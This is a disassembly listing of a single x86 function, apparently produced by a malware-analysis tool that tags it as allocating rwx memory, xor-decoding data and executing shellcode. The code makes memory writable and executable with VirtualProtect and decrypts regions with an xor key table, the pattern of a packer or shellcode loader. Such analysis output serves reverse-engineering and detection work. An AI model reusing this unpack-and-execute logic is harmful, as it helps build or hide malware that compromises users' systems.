Function at 0x1cf8bba0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov dword [ebp - 0x1c], ecx
mov eax, dword [0x1cfb9008]
mov dword [ebp - 0x10], eax
mov dword [section..data], 0
mov edi, dword [0x1cfbfbc8]
test edi, edi
je 0x1cf8bc49
mov esi, 0x1cf00000
cmp esi, 0x1cf00000
je 0x1cf8bc49
mov ebx, 0x1cf00000
xor eax, eax
sub ebx, esi
nop word cs:[eax + eax]
sub edi, dword [ebp - 0x1c]
test edi, 0x10000000
je 0x1cf8bc28
and edi, 0xfffffff
lea ecx, [ebp - 0x14]
lea eax, [edi + 0x1cf00000]
push ecx
push 0x40
push 0x1000
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
add dword [edi + 0x1cf00000], ebx
mov eax, dword [section..data]
mov edi, dword [eax*4 + 0x1cfbfbcc]
inc eax
mov dword [section..data], eax
test edi, edi
je 0x1cf8bc49
cmp esi, 0x1cf00000
jne 0x1cf8bbf0
mov eax, dword [0x1d080818]
test eax, eax
je 0x1cf8bd9f
xor ecx, ecx
mov ebx, 0x27932b49
nop dword [eax]
lea esi, [ecx*4]
mov dword [ebp - 0x28], ecx
lea eax, [eax + 0x1cf00000]
lea ecx, [esi + esi*4 + 0x1d080814]
mov dword [ebp - 0x2c], ecx
push ecx
push 0x40
push dword [esi + esi*4 + 0x1d080820]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x1cf0300f
mov ecx, dword [esi + esi*4 + 0x1d080818]
mov edx, 0x1cf00000
mov dword [ebp - 0x18], 0
sub eax, dword [0x1cfb9004]
add ecx, edx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], ecx
nop word cs:[eax + eax]
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0xc]
test edx, edx
jle 0x1cf8bd77
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
add edx, eax
imul edi, ecx, 0x864c
test ecx, ecx
mov dword [ebp - 0x24], edx
je 0x1cf8bd20
add edi, eax
mov esi, eax
nop dword [eax + eax]
mov ecx, edi
sub ecx, esi
mov eax, ecx
mul ebx
shr edx, 5
imul eax, edx, 0xcf
sub ecx, eax
movzx eax, byte [ecx + ecx + 0x1d08ac70]
add byte [esi], al
inc esi
cmp esi, dword [ebp - 0x24]
jb 0x1cf8bcf0
jmp 0x1cf8bd77
mov esi, eax
nop word cs:[eax + eax]
mov eax, esi
mov ecx, dword [0x1cfb9004]
sub eax, dword [ebp - 0x20]
lea edx, [eax + edi]
and edx, dword [ebp - 0x30]
movzx ebx, byte [ecx + edx]
mov ecx, edi
mov edx, 0x27932b49
sub ecx, eax
mov eax, ecx
mul edx
xor bl, byte [esi]
shr edx, 5
imul eax, edx, 0xcf
sub ecx, eax
add bl, byte [ecx + ecx + 0x1d08ac70]
mov byte [esi], bl
inc esi
mov ebx, 0x27932b49
cmp esi, dword [ebp - 0x24]
jb 0x1cf8bd30
mov eax, dword [ebp - 0x18]
inc eax
cmp eax, 0x232a
mov dword [ebp - 0x18], eax
jne 0x1cf8bcc0
mov ecx, dword [ebp - 0x28]
inc ecx
lea eax, [ecx + ecx*4]
mov eax, dword [eax*4 + 0x1d080818]
test eax, eax
jne 0x1cf8bc60
mov esi, dword [0x1cfbfbc8]
mov dword [section..data], 0
test esi, esi
je 0x1cf8be1e
mov eax, 0
test eax, eax
je 0x1cf8be1e
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ebx, [ebp - 0x14]
nop dword [eax]
sub esi, dword [ebp - 0x1c]
and esi, 0xfffffff
lea eax, [esi + 0x1cf00000]
push ebx
push 0x40
push 0x1000
push eax
call edi
add dword [esi + 0x1cf00000], 0
mov eax, dword [section..data]
mov esi, dword [eax*4 + 0x1cfbfbcc]
lea ecx, [eax + 1]
mov dword [section..data], ecx
test esi, esi
je 0x1cf8be1e
mov eax, 0
test eax, eax
jne 0x1cf8bdd0
mov ecx, dword [ebp - 0x10]
call fcn.1cf213a0
xor eax, eax
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret 0x10